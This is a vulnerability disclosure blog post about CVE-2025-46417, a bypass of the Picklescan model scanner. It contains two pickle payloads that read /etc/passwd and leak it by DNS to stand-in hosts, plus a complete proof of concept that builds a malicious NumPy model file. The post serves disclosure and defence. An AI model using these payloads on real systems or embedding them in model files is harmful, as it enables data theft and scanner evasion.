🎄 Join our Annual Holiday wargame and win prizes!


CVE-2025-46417: Bypassing AI Model Scanners and Exfiltrate Sensitive Data

24/10/2025

In April 2025, we disclosed a high risk vulnerability in picklescan. The vulnerability, tracked as CVE-2025-46417. It allows attackers to exfiltrate sensitive information via DNS at model load time.

Background

Over the past year we’ve seen a steady stream of incidents where public model files shipped embedded malware:

  • NullifAI models on Hugging Face carried a reverse shell inside a PyTorch pickle that evaded built-in scanners.
  • Academic surveys of 240k+ repositories found thousands of live, exploitable serialisation gadgets.
  • Threat-intel write-ups from Checkmarx, Trail of Bits, and others repeatedly show the same point: if you can deserialise it, you can own the host.

Machine-learning model hubs are becoming the new npm registry—except the payloads are binary blobs nobody inspects in a text editor.

To counter this, Hugging Face applies multiple layers of static scanning to detect malicious code execution in model artefacts. For example:

  • Malware scanning for files under 5 GB using ClamAV and YARA.
  • A pickle scanner based on the open-source Picklescan project.
  • ProtectAI ModelScan for Pickle, SavedModel, H5 and more, classifying issues such as credential theft, data theft, and poisoning.
  • JFrog’s integration on Hugging Face, which reduces false positives by decompiling embedded code and applying layered heuristics.
  • Secret scanning.

Even with these controls, bypasses continue to surface. The next section explains how one of these defences works, and where its blind spots are.

Picklescan

Picklescan performs a static disassembly of the pickle stream using pickletools.genops(). As it walks the stream it records opcodes that reference external Python objects:

GLOBAL          --> module.name
STACK_GLOBAL    --> two previous stack items form module & attr
INST (proto-0)  --> legacy GLOBAL alias

Anything resolving to a module or function on its deny-list (os, subprocess, eval, etc.) is flagged as dangerous; objects not on the list are treated as safe.

This provides quick, execution-free scanning and easy CI integration. However, there are clear limitations.

Blacklists tend to focus on classic shells and primitives (e.g. os.system) and miss other attack surfaces such as data-exfiltration paths. Some benign-looking modules in the standard library can be repurposed for covert I/O:

  • linecache.getline can be abused to read arbitrary files.
  • ssl.get_server_certificate(host) triggers a DNS lookup prior to the TLS handshake.

By chaining these, we can read a file such as /etc/passwd via linecache.getline and use ssl.get_server_certificate(host) to send the data to an attacker-controlled domain:

class DNSLog:
    def __reduce__(self):
        import linecache, ssl
        s = linecache.getline("/etc/passwd", 1).strip()
        host = f"{s.replace(':','_')}.evil.example"
        return ssl.get_server_certificate, ((host, 443),)

The leaked content appears in DNS logs. Scanning this payload with Picklescan 0.0.24 returns “no issues found”, because linecache and ssl were not on the deny-list.

If you want to learn more about pickle exploitation and deserialisation in ML libraries, read our previous blog post and try our Malicious Model.ml lab.

Mitigation

  • Upgrade Picklescan to 0.0.25 or later.
  • Treat untrusted models exactly like untrusted code.
  • Load and execute models inside sandboxes/containers with restricted egress.

Proof of concept (CVE-2025-46417)

Before running the PoC, change the FQDN (fully qualified domain name) to a domain you control.

# CVE-2025-46417 PoC
import numpy as np

def create_malicious_model():
    class DNSLogPayload:
        def __reduce__(self):
            # 1) Read a line from /etc/passwd
            linecache = __import__("linecache")
            first_line = linecache.getline("/etc/passwd", 1).strip()

            # 2) Sanitise and embed as a DNS subdomain
            subdomain = first_line.replace(":", "_").replace("/", "_")
            fqdn = f"{subdomain}.dns-logger.invalid"

            # 3) Trigger DNS resolution via ssl.get_server_certificate
            ssl_mod = __import__("ssl")
            return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))

    # Wrap the payload in a NumPy object array
    arr = np.array([DNSLogPayload()], dtype=object)

    # Save to .npy file
    np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)

def load_model(model):
    try:
        return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1)
    except Exception:
        raise ValueError("Invalid file")

if __name__ == "__main__":
    create_malicious_model()
    model = "dnslog_trigger_payload.npy"
    print("[i] Loading and executing the model")
    data = load_model(model)

Wrap-up

Static scanning is necessary but not sufficient. CVE-2025-46417 shows how seemingly harmless libraries can be chained for DNS-based data leaks during model load. Keep scanners up to date, isolate execution, and assume untrusted models can execute code.

Want to practise finding, hacking and fixing this chain? Jump into our hands-on AI secure coding lab: Malicious Model.ml.

References

Deco line
Deco line

Play AppSec WarGames

Want to skill-up in secure coding and AppSec? Try SecDim Wargames to learn how to find, hack and fix security vulnerabilities inspired by real-world incidents.

Deco line
Deco line

Got a comment?

Join our secure coding and AppSec community. A discussion board to share and discuss all aspects of secure programming, AppSec, DevSecOps, fuzzing, cloudsec, AIsec code review, and more.

Read more